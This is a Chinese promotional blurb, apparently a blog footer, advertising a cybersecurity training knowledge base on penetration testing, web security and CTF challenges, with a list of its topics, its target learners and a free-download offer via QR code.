知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。二、部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解三、适合学习的人群基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】